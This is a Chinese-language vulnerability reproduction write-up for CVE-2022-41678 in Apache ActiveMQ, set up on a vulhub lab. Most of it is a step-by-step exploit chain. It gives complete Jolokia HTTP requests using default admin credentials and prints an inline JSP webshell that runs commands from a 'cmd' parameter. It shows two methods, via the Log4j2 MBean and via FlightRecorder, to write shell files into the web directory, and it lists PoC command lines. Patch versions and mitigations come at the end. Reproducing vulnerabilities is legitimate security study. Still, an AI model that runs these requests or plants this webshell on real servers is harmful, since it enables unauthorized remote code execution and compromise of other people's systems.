ActiveMQ Jolokia 代码执行漏洞(CVE-2022-41678)复现
ActiveMQ Jolokia 后台代码执行漏洞(CVE-2022-41678)复现
1.漏洞描述
ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。
ActiveMQ后台存在Jolokia 代码执行漏洞,在ActiveMQ中,经过身份验证的远程攻击者下可通过/api/jolokia/接口操作MBean,成功利用此漏洞可导致远程代码执行
影响版本
Apache ActiveMQ < 5.16.6
5.17.0< Apache ActiveMQ < 5.17.4
2.漏洞复现
https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2022-41678
docker compose up -d
服务启动后,访问http://your-ip:8161/
后输入账号密码admin
和admin
,即可成功登录后台。
2.1 方法一
第一个方法是使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean
,这是由Log4j2提供的一个MBean。
攻击者使用这个MBean中的setConfigText
操作可以更改Log4j的配置,进而将日志文件写入任意目录中。
总共4个数据包,第一步访问,获取到MBean值,此处需要加入Origin值,Authorization值为admin:admin的base64加密值
/api/jolokia/list
如果GET访问失败可以POST访问
第2步访问,此处的mbean在第一步获取到,此处xml文件需要进行转义
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 1944
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
{"type": "exec", "mbean": "org.apache.logging.log4j2:type=6ddf90b0", "operation": "setConfigText", "arguments": ["xml", "utf-8"]}
xml为POC中的evil_template内容,此处出现"status":200,就可以证明漏洞存在
第3步进行注入
GET /api/jolokia/version HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla ||| <% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %> |||
Origin: http://192.168.2.133:8161
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
第4步和第2步类似,xml文件内容替换成POC中original_template内容
到此处,shell.jsp已经写入,访问进行命令执行
http://192.168.2.131:8161/admin/shell.jsp?cmd=id
POC执行命令:
python poc.py -u admin -p admin http://192.168.2.133:8161
2.2 方法二
主要问题出在FlightRecorder这个Mbean,漏洞思路是通过setConfiguration修改配置,录制完成后,通过copyTo导出到web目录即可。
第1步一样访问,获取mbean值
/api/jolokia/list
第2步如下,进行新增记录newRecording,获取value值
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 113
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "newRecording", "arguments": []}
第3步一样,更改配置文件信息,xml为poc中的record_template值
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 33032
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "setConfiguration", "arguments": [2,"xml" ]
第4步,开始录制
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 116
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "startRecording", "arguments": [2]}
第5步,结束录制
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 115
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "stopRecording", "arguments": [2]}
最后导出到web目录下
POST /api/jolokia/ HTTP/1.1
Host: 192.168.2.133:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.2.133:8161
Content-Length: 138
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "copyTo", "arguments": [2, "webapps/admin/shelljfr.jsp"]}
Webshell被写入在/admin/shelljfr.jsp
文件中:
对应POC命令
python poc.py -u admin -p admin --exploit jfr http://localhost:8161
3.漏洞修复
安全更新
官方已推出安全更新,受影响用户可升级到以下版本:
Apache ActiveMQ >= 5.17.4
Apache ActiveMQ >= 5.16.6
缓解措施
-
修改默认口令;
-
可参考以下链接限制Jolokia 上授权后的操作:
https://github.com/apache/activemq/pull/958/files
-
若非必要,禁用Jolokia;